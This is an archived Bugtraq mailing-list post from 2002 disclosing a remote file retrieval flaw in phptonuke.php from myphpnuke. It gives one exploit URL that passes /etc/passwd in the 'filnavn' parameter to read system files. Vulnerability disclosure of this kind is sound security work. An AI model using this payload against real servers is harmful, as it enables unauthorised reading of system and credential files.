Bugtraq mailing list archives

phptonuke allows Remote File Retrieving

From: "Zero-X ScriptKiddy" <zero-x () linuxmail org>
Date: Thu, 17 Oct 2002 05:50:10 +0800

The file "phptonuke.php" from myphpnuke allows Remote File Retrieving.

Exploit Example:
http://website.com/phptonuke.php?filnavn=/etc/passwd


Zero X, member of www.Lobnan.de
-- 
Get your free email from www.linuxmail.org 


Powered by Outblaze

Current thread:

phptonuke allows Remote File Retrieving Zero-X ScriptKiddy (Oct 16)
- Re: phptonuke allows Remote File Retrieving BlueRaven (Oct 17)